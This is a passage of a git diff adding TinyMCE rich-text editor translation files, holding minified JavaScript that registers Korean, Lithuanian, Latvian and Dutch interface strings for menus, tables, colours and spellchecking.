\ud569\ub2c8\ub2e4","invalid_data_min":"{#field}\ub294 {#min}\ubcf4\ub2e4 \ud070 \uc218\uc5ec\uc57c \ud569\ub2c8\ub2e4","invalid_data_size":"{#field}\ub294 \uc22b\uc790\ub098 \ubc31\ubd84\ub960\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4",value:"(value)"},contextmenu:{full:"\ubc30\ubd84 \uc815\ub82c",right:"\uc624\ub978\ucabd \uc815\ub82c",center:"\uac00\uc6b4\ub370 \uc815\ub82c",left:"\uc67c\ucabd \uc815\ub82c",align:"\uc815\ub82c"},insertdatetime:{"day_short":"\uc77c,\uc6d4,\ud654,\uc218,\ubaa9,\uae08,\ud1a0,\uc77c","day_long":"\uc77c\uc694\uc77c,\uc6d4\uc694\uc77c,\ud654\uc694\uc77c,\uc218\uc694\uc77c,\ubaa9\uc694\uc77c,\uae08\uc694\uc77c,\ud1a0\uc694\uc77c,\uc77c\uc694\uc77c","months_short":"1,2,3,4,5,6,7,8,9,10,11,12","months_long":"1\uc6d4,2\uc6d4,3\uc6d4,4\uc6d4,5\uc6d4,6\uc6d4,7\uc6d4,8\uc6d4,9\uc6d4,10\uc6d4,11\uc6d4,12\uc6d4","inserttime_desc":"\uc2dc\uac04 \uc0bd\uc785","insertdate_desc":"\ub0a0\uc9dc \uc0bd\uc785","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\uc778\uc1c4"},preview:{"preview_desc":"\ubbf8\ub9ac\ubcf4\uae30"},directionality:{"rtl_desc":"\ubb38\uc790\ubc29\ud5a5\uc744 \uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd\uc73c\ub85c","ltr_desc":"\ubb38\uc790\ubc29\ud5a5\uc744 \uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd\uc73c\ub85c"},layer:{content:"\uc0c8 \ub808\uc774\uc5b4...","absolute_desc":"\uc808\ub300\uc704\uce58\ub85c \uc804\ud658","backward_desc":"\ub4a4\ub85c \uc774\ub3d9","forward_desc":"\uc55e\uc73c\ub85c \uc774\ub3d9","insertlayer_desc":"\uc0c8 \ub808\uc774\uc5b4"},save:{"save_desc":"\uc800\uc7a5","cancel_desc":"\ubaa8\ub450 \ucde8\uc18c"},nonbreaking:{"nonbreaking_desc":"\ube48\uce78 \uc0bd\uc785"},iespell:{download:"ieSpell\uc774 \ubc1c\uacac\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.\n\uc778\uc2a4\ud1a8 \ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c?","iespell_desc":"\ucca0\uc790 \uac80\uc0ac"},advhr:{"advhr_desc":"\uad6c\ubd84\uc120","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\uc774\ubaa8\ud2f0\ucf58","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\uac80\uc0c9/\uce58\ud658","search_desc":"\uac80\uc0c9","delta_width":"","delta_height":""},advimage:{"image_desc":"\uc774\ubbf8\uc9c0\uc758 \uc0bd\uc785/\ud3b8\uc9d1","delta_width":"","delta_height":""},advlink:{"link_desc":"\ub9c1\ud06c\uc758 \uc0bd\uc785/\ud3b8\uc9d1","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\uc18d\uc131 \uc0bd\uc785/\ud3b8\uc9d1","ins_desc":"\uc0bd\uc785","del_desc":"\uc0ad\uc81c","acronym_desc":"\uba38\ub9ac \uae00\uc790\uc5b4","abbr_desc":"\uc57d\uae30","cite_desc":"\uc778\uc6a9\ucc98","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"CSS\ud3b8\uc9d1","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\uc77c\ubc18 \ud14d\uc2a4\ud2b8 \ubaa8\ub4dc\uc5d0\uc11c \ubd99\uc5ec\ub123\uae30. \ud074\ub9ad\ud558\uba74 \uc77c\ubc18 \ubd99\uc5ec\ub123\uae30 \ubaa8\ub4dc\ub85c \ub2e4\uc2dc \ubcc0\uacbd\ub429\ub2c8\ub2e4.","plaintext_mode_sticky":"\uc77c\ubc18 \ud14d\uc2a4\ud2b8 \ubaa8\ub4dc\uc5d0\uc11c \ubd99\uc5ec\ub123\uae30. \ud074\ub9ad\ud558\uba74 \uc77c\ubc18 \ubd99\uc5ec\ub123\uae30 \ubaa8\ub4dc\ub85c \ub2e4\uc2dc \ubcc0\uacbd\ub429\ub2c8\ub2e4. After you paste something you will be returned to regular paste mode.","selectall_desc":"\ubaa8\ub450 \uc120\ud0dd","paste_word_desc":"Word\ub85c\ubd80\ud130 \ubd99\uc5ec\ub123\uae30","paste_text_desc":"\ud14d\uc2a4\ud2b8\ucc98\ub7fc \ubd99\uc5ec\ub123\uae30"},"paste_dlg":{"word_title":"\uc708\ub3c4\uc6b0\uc5d0 \ud14d\uc2a4\ud2b8\ub97c \ubd99\uc774\ub824\uba74 \ud0a4\ubcf4\ub4dc\ub85cCtrl+V\ub97c \uc785\ub825\ud574 \uc8fc\uc138\uc694.","text_linebreaks":"\uac1c\ud589\uc744 \ubcf4\uad00 \uc720\uc9c0","text_title":"\uc708\ub3c4\uc6b0\uc5d0 \ud14d\uc2a4\ud2b8\ub97c \ubd99\uc774\ub824\uba74 \ud0a4\ubcf4\ub4dc\ub85c Ctrl+V\ub97c \uc785\ub825\ud574 \uc8fc\uc138\uc694."},table:{cell:"\uc140",col:"\uc5f4",row:"\ud589",del:"\ud14c\uc774\ube14 \uc0ad\uc81c","copy_row_desc":"\ud589\uc744 \ubcf5\uc0ac","cut_row_desc":"\ud589\uc744 \uc798\ub77c\ub0b4\uae30","paste_row_after_desc":"\ub4a4\ub85c \ud589\uc744 \ubd99\uc5ec\ub123\uae30","paste_row_before_desc":"\uc55e\uc5d0 \ud589\uc744 \ubd99\uc5ec\ub123\uae30","props_desc":"\ud14c\uc774\ube14 \uc18d\uc131","cell_desc":"\uc140\uc758 \uc18d\uc131","row_desc":"\ud589\uc758 \uc18d\uc131","merge_cells_desc":"\uc140\uc744 \uacb0\ud569","split_cells_desc":"\uacb0\ud569\ub41c \uc140\uc744 \ubd84\ud560","delete_col_desc":"\uc5f4\uc0ad\uc81c","col_after_desc":"\ub4a4\uc5d0 \uc5f4\uc0bd\uc785","col_before_desc":"\uc55e\uc5d0 \uc5f4\uc0bd\uc785","delete_row_desc":"\ud589 \uc0ad\uc81c","row_after_desc":"\ub4a4\uc5d0 \ud589 \uc0bd\uc785","row_before_desc":"\uc55e\uc5d0 \ud589 \uc0bd\uc785",desc:"\uc0c8 \ud14c\uc774\ube14 \uc0bd\uc785","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\uc800\uc7a5\ub41c \ub0b4\uc6a9\uc744 \ubcf5\uad6c\ud558\uba74 \ud604\uc7ac\uc758 \ub0b4\uc6a9\uc740 \uc0ad\uc81c\ub429\ub2c8\ub2e4.\n\n\uc815\ub9d0 \uc800\uc7a5\ub41c \ub0b4\uc6a9\uc744 \ubcf5\uad6c\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c?","restore_content":"\uc790\ub3d9 \uc800\uc7a5\ub41c \ub0b4\uc6a9 \ubcf5\uad6c","unload_msg":"\ub2e4\ub978 \ud398\uc774\uc9c0\ub85c \uc774\ub3d9\ud558\uba74 \ud3b8\uc9d1\ud55c \ub0b4\uc6a9\uc774 \ucde8\uc18c\ub429\ub2c8\ub2e4."},fullscreen:{desc:"\uc804\uccb4\ud654\uba74"},media:{edit:"\ubbf8\ub514\uc5b4\uc758 \ud3b8\uc9d1",desc:"\ubbf8\ub514\uc5b4\uc758 \uc0bd\uc785/\ud3b8\uc9d1","delta_height":"","delta_width":""},fullpage:{desc:"\ud398\uc774\uc9c0\uc758 \uc18d\uc131","delta_width":"","delta_height":""},template:{desc:"\uc815\uc758\uac00 \ub05d\ub09c \ud15c\ud50c\ub9bf\uc758 \uc0bd\uc785"},visualchars:{desc:"\uc81c\uc5b4 \ubb38\uc790\uc758 \ud45c\uc2dc \uc804\ud658"},spellchecker:{desc:"\uc2a4\ud3a0\ub9c1 \uc804\ud658",menu:"\uc2a4\ud3a0\ub9c1 \uc124\uc815","ignore_word":"\uc774 \uc5b4\uad6c\ub97c \ubb34\uc2dc","ignore_words":"\ubaa8\ub450 \ubb34\uc2dc",langs:"\uc5b8\uc5b4",wait:"\uae30\ub2e4\ub824 \uc8fc\uc138\uc694...",sug:"\ud6c4\ubcf4","no_sug":"\ud6c4\ubcf4 \uc5c6\uc74c","no_mpell":"\uc624\ud0c8\uc790\uac00 \ubc1c\uacac\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.","learn_word":"Learn word"},pagebreak:{desc:"\uc0c8\ud398\uc774\uc9c0 \uc0bd\uc785"},advlist:{types:"\ud0c0\uc785",def:"\uae30\ubcf8","lower_alpha":"\uc54c\ud30c\ubcb3 \uc18c\ubb38\uc790","lower_greek":"\uadf8\ub9ac\uc2a4\uc5b4 \uc18c\ubb38\uc790","lower_roman":"\ub85c\ub9c8 \uc18c\ubb38\uc790","upper_alpha":"\ub300\ubb38\uc790 \uc54c\ud30c\ubcb3","upper_roman":"\ub300\ubb38\uc790 \ub85c\ub9c8",circle:"\uc6d0",disc:"\uc6d0\ud615",square:"\uc0ac\uaca9\ud615"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"\ub2e8\uc5b4:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/lt.js b/js/tiny_mce/langs/lt.js new file mode 100755 index 0000000..e118671 --- /dev/null +++ b/js/tiny_mce/langs/lt.js @@ -0,0 +1 @@ +tinyMCE.addI18n({lt:{common:{"more_colors":"Daugiau spalv\u0173","invalid_data":"Klaida: Blogai \u012fvestos reik\u0161m\u0117s, kurios pa\u017eym\u0117tos raudonai.","popup_blocked":"Atsipra\u0161ome, ta\u010diau pasteb\u0117jome, kad j\u016bs\u0173 i\u0161kylan\u010di\u0173 lang\u0173 blokavimo programa i\u0161jung\u0117 lang\u0105, kuris teikia aplikacijai funkcionalum\u0105. Tur\u0117tum\u0117te atjungti i\u0161kylan\u010di\u0173 lang\u0173 blokavim\u0105 \u0161iam tinklalapiui, kad i\u0161naudotum\u0117te visas galimybes.","clipboard_no_support":"\u0160i nar\u0161ykl\u0117 nepalaiko \u0161io veikimo, tod\u0117l naudokite klaviat\u016bros spar\u010diuosius klavi\u0161us.","clipboard_msg":"Kopijavimas/i\u0161kirpimas/\u012fd\u0117jimas paspaudus \u0161\u012f mygtuk\u0105 negalimas Mozilla ir Firefox nar\u0161ykl\u0117se.\nNukopijuoti galima paspaudus: Ctrl + C, i\u0161kirpti: Ctrl + X, \u012fd\u0117ti: Ctrl + V.\nAr norite daugiau informacijos apie \u0161i\u0105 problem\u0105?","not_set":"-- Nenurodyta --","class_name":"Klas\u0117",browse:"Nar\u0161yti",close:"U\u017everti",cancel:"Atsisakyti",update:"Atnaujinti",insert:"\u012eterpti",apply:"Taikyti","edit_confirm":"Ar norite naudoti tekst\u0173 redaktoriaus re\u017eim\u0105 \u0161iam teksto redagavimo langui?","invalid_data_number":"{#field} turi b\u016bti skai\u010dius","invalid_data_min":"{#field} turi b\u016bti skai\u010dius didesnis nei {#min}","invalid_data_size":"{#field} turi b\u016bti skai\u010dius arba procentai",value:"(value)"},contextmenu:{full:"I\u0161 abiej\u0173 pusi\u0173",right:"De\u0161in\u0117je",center:"Centre",left:"Kair\u0117je",align:"Lygiavimas"},insertdatetime:{"day_short":"Sekm,Pirm,Antr,Tre\u010d,Ketv,Penk,\u0160e\u0161t,Sekm","day_long":"Sekmadienis,Pirmadienis,Antradienis,Tre\u010diadienis,Ketvirtadienis,Penktadienis,\u0160e\u0161tadienis,Sekmadienis","months_short":"Sau,Vas,Kov,Bal,Geg,Bir,Lie,Rugpj,Rugs,Spa,Lapkr,Gruo","months_long":"Sausis,Vasaris,Kovas,Balandis,Gegu\u017e\u0117,Bir\u017eelis,Liepa,Rugpj\u016btis,Rugs\u0117jis,Spalis,Lapkritis,Gruodis","inserttime_desc":"\u012eterpti laik\u0105","insertdate_desc":"\u012eterpti dat\u0105","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"Spausdinti"},preview:{"preview_desc":"Per\u017ei\u016bra"},directionality:{"rtl_desc":"Kryptis i\u0161 de\u0161in\u0117s \u012f kair\u0119","ltr_desc":"Kryptis i\u0161 kair\u0117s \u012f de\u0161in\u0119"},layer:{content:"Naujas sluoksnis...","absolute_desc":"Perjungti absoliut\u0173 pozicionavim\u0105","backward_desc":"Perkelti atgal","forward_desc":"Perkelti \u012f priek\u012f","insertlayer_desc":"\u012eterpti nauj\u0105 sluoksn\u012f"},save:{"save_desc":"I\u0161saugoti","cancel_desc":"Atsisakyti vis\u0173 pakeitim\u0173"},nonbreaking:{"nonbreaking_desc":"\u012eterpti jungiamojo tarpo simbol\u012f"},iespell:{download:"ieSpell neaptiktas. Ar norite dabar j\u012f \u012fdiegti?","iespell_desc":"Paleisti ra\u0161ybos tikrintuv\u0119"},advhr:{"delta_width":"10","advhr_desc":"Horizontali linija","delta_height":""},emotions:{"emotions_desc":"Jaustukai","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Ie\u0161koti/Pakeisti","delta_width":"10","delta_height":"20","search_desc":"Ie\u0161koti"},advimage:{"delta_width":"10","image_desc":"\u012eterpti/Redaguoti paveiksl\u0117l\u012f","delta_height":""},advlink:{"delta_width":"10","link_desc":"\u012eterpti/Redaguoti nuorod\u0105","delta_height":""},xhtmlxtras:{"attribs_delta_width":"10","ins_delta_width":"10","del_delta_width":"10","acronym_delta_width":"10","abbr_delta_width":"10","cite_delta_width":"10","attribs_desc":"\u012eterpti/Redaguoti atributus","ins_desc":"\u012eterpimas","del_desc":"Panaikinimas","acronym_desc":"Akronimas","abbr_desc":"Santrumpa","cite_desc":"Citavimas","attribs_delta_height":"","ins_delta_height":"","del_delta_height":"","acronym_delta_height":"","abbr_delta_height":"","cite_delta_height":""},style:{"delta_width":"40",desc:"Redaguoti CSS stili\u0173","delta_height":""},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"Visk\u0105 pa\u017eym\u0117ti","paste_word_desc":"\u012ed\u0117ti i\u0161 Word","paste_text_desc":"\u012ed\u0117ti kaip paprast\u0105 tekst\u0105"},"paste_dlg":{"word_title":"Naudokite CTRL+V tekstui \u012fd\u0117ti \u012f \u0161\u012f lang\u0105.","text_linebreaks":"Palikti eilu\u010di\u0173 l\u016b\u017eius","text_title":"Naudokite CTRL+V tekstui \u012fd\u0117ti \u012f \u0161\u012f lang\u0105."},table:{"merge_cells_delta_width":"10","table_delta_width":"10","cellprops_delta_width":"10","rowprops_delta_width":"10",cell:"Langelis",col:"Stulpelis",row:"Eilut\u0117",del:"\u0160alinti lentel\u0119","copy_row_desc":"Kopijuoti lentel\u0117s eilut\u0119","cut_row_desc":"I\u0161kirpti lentel\u0117s eilut\u0119","paste_row_after_desc":"\u012ed\u0117ti lentel\u0117s eilut\u0119 po","paste_row_before_desc":"\u012ed\u0117ti lentel\u0117s eilut\u0119 prie\u0161","props_desc":"Lentel\u0117s nustatymai","cell_desc":"Lentel\u0117s langelio nustatymai","row_desc":"Lentel\u0117s eilut\u0117s nustatymai","merge_cells_desc":"Sujungti lentel\u0117s langelius","split_cells_desc":"Skaidyti sulietus lentel\u0117s langelius","delete_col_desc":"\u0160alinti stulpel\u012f","col_after_desc":"\u012eterpti stulpel\u012f po","col_before_desc":"\u012eterpti stulpel\u012f prie\u0161","delete_row_desc":"\u0160alinti eilut\u0119","row_after_desc":"\u012eterpti eilut\u0119 po","row_before_desc":"\u012eterpti eilut\u0119 prie\u0161",desc:"\u012eterpti/Redaguoti lentel\u0119","merge_cells_delta_height":"","table_delta_height":"","cellprops_delta_height":"","rowprops_delta_height":""},autosave:{"warning_message":"Jei atstatysite i\u0161saugot\u0105 turin\u012f, prarasite esam\u0105 turin\u012f redaktoriaus lange.\n\nAr tikrai norite atstatyti i\u0161saugot\u0105 turin\u012f?","restore_content":"Atstatyti automati\u0161kai i\u0161saugot\u0105 turin\u012f.","unload_msg":"Visi pakeitimai bus prarasti, jei i\u0161eisite i\u0161 \u0161io puslapio."},fullscreen:{desc:"Perjungti viso ekrano re\u017eim\u0105"},media:{"delta_height":"","delta_width":"10",edit:"Redaguoti integruot\u0105 daugialyp\u0119 terp\u0119",desc:"\u012eterpti/redaguoti integruot\u0105 daugialyp\u0119 terp\u0119"},fullpage:{desc:"Dokumento nustatymai","delta_width":"10","delta_height":""},template:{desc:"\u012eterpti numatyt\u0105 \u0161ablono turin\u012f"},visualchars:{desc:"Vizualiniai valdymo simboliai \u012fjungti/i\u0161jungti."},spellchecker:{desc:"Perjungti ra\u0161ybos tikrintuv\u0119",menu:"Ra\u0161ybos tikrintuv\u0117s nustatymai","ignore_word":"Ignoruoti \u017eod\u012f","ignore_words":"Ignoruoti visk\u0105",langs:"Kalbos",wait:"Pra\u0161ome palaukti...",sug:"Pasi\u016blymai","no_sug":"Pasi\u016blym\u0173 nerasta","no_mpell":"Klaid\u0173 nerasta.","learn_word":"I\u0161mokti \u017eod\u012f"},pagebreak:{desc:"\u012eterpti puslapio pabaigos \u017eym\u0119."},advlist:{types:"Tipai",def:"Numatytasis","lower_alpha":"Ma\u017eosiomis raid\u0117mis","lower_greek":"Ma\u017eaisiais graik\u0173","lower_roman":"Ma\u017eaisiais rom\u0117n\u0173","upper_alpha":"Did\u017eiosiomis raid\u0117mis","upper_roman":"Did\u017eiaisiais rom\u0117n\u0173",circle:"Apskritimas",disc:"Diskas",square:"Kvadratas"},colors:{"333300":"Tamsi alyvuogi\u0173","993300":"Tamsi oran\u017ein\u0117","000000":"Juoda","003300":"Tamsi \u017ealia","003366":"Tamsi \u017eydra","000080":"Tamsiai m\u0117lyna","333399":"Indigo","333333":"Tamsiai pilka","800000":"Ka\u0161tonin\u0117",FF6600:"Oran\u017ein\u0117","808000":"Alyvuogi\u0173","008000":"\u017dalia","008080":"\u017dalsvai m\u0117lyna","0000FF":"M\u0117lyna","666699":"Pilk\u0161vai m\u0117lyna","808080":"Pilka",FF0000:"Raudona",FF9900:"Gintarin\u0117","99CC00":"Geltonai \u017ealia","339966":"\u017dalia","33CCCC":"\u017dalsvai m\u0117lyna","3366FF":"M\u0117lyna","800080":"Purpurin\u0117","999999":"Vidutini\u0161kai pilka",FF00FF:"Rausvai raudona",FFCC00:"Auksin\u0117",FFFF00:"Geltona","00FF00":"\u0160viesiai \u017ealia","00FFFF":"Vandenin\u0117","00CCFF":"\u017dydra","993366":"Ruda",C0C0C0:"Sidabrin\u0117",FF99CC:"Ro\u017ein\u0117",FFCC99:"Persiko spalva",FFFF99:"\u0160viesiai geltona",CCFFCC:"\u0160viesiai \u017ealia",CCFFFF:"\u017dalsvai m\u0117lyna","99CCFF":"\u0160viesi m\u0117lyna",CC99FF:"Slyv\u0173 spalvos",FFFFFF:"Balta"},aria:{"rich_text_area":"Formatuoto teksto zona"},wordcount:{words:"\u017dod\u017ei\u0173:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/lv.js b/js/tiny_mce/langs/lv.js new file mode 100755 index 0000000..2f6e3a9 --- /dev/null +++ b/js/tiny_mce/langs/lv.js @@ -0,0 +1 @@ +tinyMCE.addI18n({lv:{common:{more_colors:"Vair\u0101k kr\u0101su",invalid_data:"K\u013c\u016bda: Ievad\u012btas neder\u012bgas v\u0113rt\u012bbas. T\u0101s ir atz\u012bm\u0113tas sarkan\u0101 kr\u0101s\u0101.",popup_blocked:"Atvainojiet, bet m\u0113s esam konstat\u0113ju\u0161i, ka J\u016bsu uzleco\u0161o logu blo\u0137\u0113t\u0101js ir atsp\u0113jojis logu, kas nodro\u0161ina programmas funkcionalit\u0101ti. Lai piln\u012bb\u0101 izmantotu \u0161o r\u012bku, Jums ir j\u0101atsl\u0113dz uzleco\u0161o logu blo\u0137\u0113tajs \u0161ai vietnei. ",clipboard_no_support:"\u0160obr\u012bd J\u016bsu p\u0101rl\u016bks neatbalsta \u0161o iesp\u0113ju, t\u0101 viet\u0101 l\u016bdzu izmantotjiet tastat\u016bras sa\u012bsin\u0101jumtausti\u0146us.",clipboard_msg:"Iesp\u0113ja Kop\u0113t/Izgriezt/Iekop\u0113t nav pieejama p\u0101rl\u016bkiem Mozilla and Firefox.\\nVai J\u016bs v\u0113laties uzzin\u0101t vair\u0101k par \u0161o probl\u0113mu?",not_set:"-- Nav nor\u0101d\u012bts --",class_name:"Klase",browse:"P\u0101rl\u016bkot",close:"Aizv\u0113rt",cancel:"Atcelt",update:"Atjaunin\u0101t",insert:"Ievietot",apply:"Apstiprin\u0101t",edit_confirm:"Vai tu v\u0113lies izmantot WYSIWYG \u0161im teksta laukam?"},contextmenu:{full:"Pilns",right:"Pa labi",center:"Centr\u0113ts",left:"Pa kreisi",align:"Novietojums"},insertdatetime:{day_short:"Sv\u0113,Pir,Otr,Tre,Cet,Pie,Ses,Sv\u0113",day_long:"Sv\u0113tdiena,Pirmdiena,Otrdiena,Tre\u0161diena,Ceturtdiena,Piektdiena,Sestdiena,Sv\u0113tdiena",months_short:"Jan,Feb,Mar,Apr,Mai,J\u016bn,J\u016bl,Aug,Sep,Okt,Nov,Dec",months_long:"Janv\u0101ris,Febru\u0101ris,Marts,Apr\u012blis,Maijs,J\u016bnijs,J\u016blijs,Augusts,Seprembris,Oktobris,Novembris,Decembris",inserttime_desc:"Ievietot laiku",insertdate_desc:"Ievietot datumu",time_fmt:"%H:%M:%S",date_fmt:"%Y-%m-%d"},print:{print_desc:"Druk\u0101t"},preview:{preview_desc:"Priek\u0161skat\u012bt"},directionality:{rtl_desc:"Virziens no lab\u0101s uz kreiso",ltr_desc:"Virziens no kreis\u0101s uz labo"},layer:{content:"Jauns sl\u0101nis...",absolute_desc:"Iestat\u012bt/Nov\u0101kt absol\u016bto novietojumu ",backward_desc:"Atpaka\u013c",forward_desc:"Uz priek\u0161u",insertlayer_desc:"Ievietot jaunu sl\u0101ni"},save:{save_desc:"Saglab\u0101t",cancel_desc:"Atcelt visas izmai\u0146as"},nonbreaking:{nonbreaking_desc:"Ievietot tuk\u0161uma simbolu"},iespell:{download:"ieSpell netika atrasts. Vai J\u016bs v\u0113laties to uzst\u0101d\u012bt?",iespell_desc:"Uzs\u0101kt pareizrakst\u012bbas p\u0101rbaudi"},advhr:{advhr_desc:"Horizont\u0101la sv\u012btra",delta_height:"",delta_width:""},emotions:{emotions_desc:"Smaidi\u0146i",delta_height:"",delta_width:""},searchreplace:{replace_desc:"Mekl\u0113t/Aizvietot",search_desc:"Mekl\u0113t",delta_width:"",delta_height:""},advimage:{image_desc:"Ievietot/Redi\u0123\u0113t att\u0113lu",delta_width:"",delta_height:""},advlink:{link_desc:"Ievietot/Redi\u0123\u0113t saiti",delta_height:"",delta_width:""},xhtmlxtras:{attribs_desc:"Pielikt/redi\u0123\u0113t \u012bpa\u0161\u012bbas",ins_desc:"Insertion",del_desc:"Deletion",acronym_desc:"Acronym",abbr_desc:"Sa\u012bsin\u0101jums",cite_desc:"Cit\u0101ts",attribs_delta_height:"",attribs_delta_width:"",ins_delta_height:"",ins_delta_width:"",del_delta_height:"",del_delta_width:"",acronym_delta_height:"",acronym_delta_width:"",abbr_delta_height:"",abbr_delta_width:"",cite_delta_height:"",cite_delta_width:""},style:{desc:"Edit CSS Style",delta_height:"",delta_width:""},paste:{selectall_desc:"Iez\u012bm\u0113t visu",paste_word_desc:"Iekop\u0113t no Word",paste_text_desc:"Iekop\u0113t ka parasto tekstu",plaintext_mode:"Paste is now in plain text mode. Click again to toggle back to regular paste mode.",plaintext_mode_sticky:"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode."},paste_dlg:{word_title:"Izmantojiet CTRL+V uz j\u016bsu tastat\u016bras lai iekop\u0113t tekstu log\u0101.",text_linebreaks:"Sagl\u0101b\u0101t l\u012bniju sadal\u012bt\u0101jus",text_title:"Izmantojiet CTRL+V uz j\u016bsu tastat\u016bras lai iekop\u0113t tekstu log\u0101."},table:{cell:"Aile",col:"St\u0101bs",row:"Rinda",del:"Izdz\u0113st tabulu",copy_row_desc:"Kop\u0113t tabulas rindu",cut_row_desc:"Izgriezt tabulas rindu",paste_row_after_desc:"Ielikt tabulas rindu aiz",paste_row_before_desc:"Ielikt tabulas rindu priek\u0161\u0101",props_desc:"Tabulas \u012bpa\u0161\u012bbas",cell_desc:"Tabulas ailes \u012bpa\u0161\u012bbas",row_desc:"Tabulas rindas \u012bpa\u0161\u012bbas",merge_cells_desc:"Apvienot tabulas ailes",split_cells_desc:"Sadal\u012bt apvienotas tabules ailes",delete_col_desc:"Izdz\u0113st stabu",col_after_desc:"Ielikt jaunu stabu aiz",col_before_desc:"Ielikt jaunu stabu priek\u0161\u0101",delete_row_desc:"Izdz\u0113st rindu",row_after_desc:"Ielikt jaunu rindu aiz",row_before_desc:"Ielikt jaunu rindu priek\u0161\u0101",desc:"Ielikt jaunu tabulu",merge_cells_delta_height:"",merge_cells_delta_width:"",table_delta_height:"",table_delta_width:"",cellprops_delta_height:"",cellprops_delta_width:"",rowprops_delta_height:"",rowprops_delta_width:""},autosave:{unload_msg:"The changes you made will be lost if you navigate away from this page.",warning_message:"If you restore the saved content, you will lose all the content that is currently in the editor.\\n\\nAre you sure you want to restore the saved content?.",restore_content:"Restore auto-saved content."},fullscreen:{desc:"Toggle fullscreen mode"},media:{edit:"Edit embedded media",desc:"Insert / edit embedded media",delta_height:"",delta_width:""},fullpage:{desc:"Document properties",delta_width:"",delta_height:""},template:{desc:"Insert predefined template content"},visualchars:{desc:"Visual control characters on/off."},spellchecker:{desc:"Toggle spellchecker",menu:"Spellchecker settings",ignore_word:"Ignore word",ignore_words:"Ignore all",langs:"Languages",wait:"Please wait...",sug:"Suggestions",no_sug:"No suggestions",no_mpell:"No misspellings found."},pagebreak:{desc:"Insert page break."},advlist:{types:"Types",def:"Default",lower_alpha:"Lower alpha",lower_greek:"Lower greek",lower_roman:"Lower roman",upper_alpha:"Upper alpha",upper_roman:"Upper roman",circle:"Circle",disc:"Disc",square:"Square"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/nl.js b/js/tiny_mce/langs/nl.js new file mode 100755 index 0000000..c5fa704 --- /dev/null +++ b/js/tiny_mce/langs/nl.js @@ -0,0 +1 @@ +tinyMCE.addI18n({nl:{common:{"more_colors":"Meer kleuren","invalid_data":"Fout: Er zijn ongeldige waardes ingevoerd, deze zijn rood gemarkeerd.","popup_blocked":"U zult uw popup-blocker tijdelijk moeten uitschakelen voor deze website om gebruik te kunnen maken van alle functies van deze teksteditor.","clipboard_no_support":"Kopi\u00ebren/knippen/plakken wordt niet ondersteund door uw browser, gebruik hiervoor de sneltoetsen.","clipboard_msg":"Kopi\u00ebren/knippen/plakken is niet beschikbaar in Mozilla en Firefox.\nWilt u meer informatie over deze beperking?","not_set":"- Standaard -","class_name":"Klasse",browse:"Bladeren",close:"Sluiten",cancel:"Annuleren",update:"Bijwerken",insert:"Invoegen",apply:"Toepassen","edit_confirm":"Weet u zeker dat u tekst in WYSIWYG mode wilt bewerken in dit tekstveld?","invalid_data_number":"{#field} moet een nummer zijn","invalid_data_min":"{#field} moet groter zijn dan {#min}","invalid_data_size":"{#field} moet een nummer of percentage zijn",value:"(waarde aanpassen)"},contextmenu:{full:"Uitvullen",right:"Rechts",center:"Centreren",left:"Links",align:"Uitlijning"},insertdatetime:{"day_short":"zo,ma,di,wo,do,vr,za,zo","day_long":"Zondag,Maandag,Dinsdag,Woensdag,Donderdag,Vrijdag,Zaterdag,Zondag","months_short":"Jan,Feb,Mar,Apr,Mei,Jun,Jul,Aug,Sep,Okt,Nov,Dec","months_long":"Januari,Februari,Maart,April,Mei,Juni,Juli,Augustus,September,Oktober,November,December","inserttime_desc":"Tijd invoegen","insertdate_desc":"Datum invoegen","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Afdrukken"},preview:{"preview_desc":"Voorbeeld"},directionality:{"rtl_desc":"Van rechts naar links","ltr_desc":"Van links naar rechts"},layer:{content:"Nieuwe laag...","absolute_desc":"Absoluut positioneren inschakelen","backward_desc":"Vorige laag","forward_desc":"Volgende laag","insertlayer_desc":"Nieuwe laag 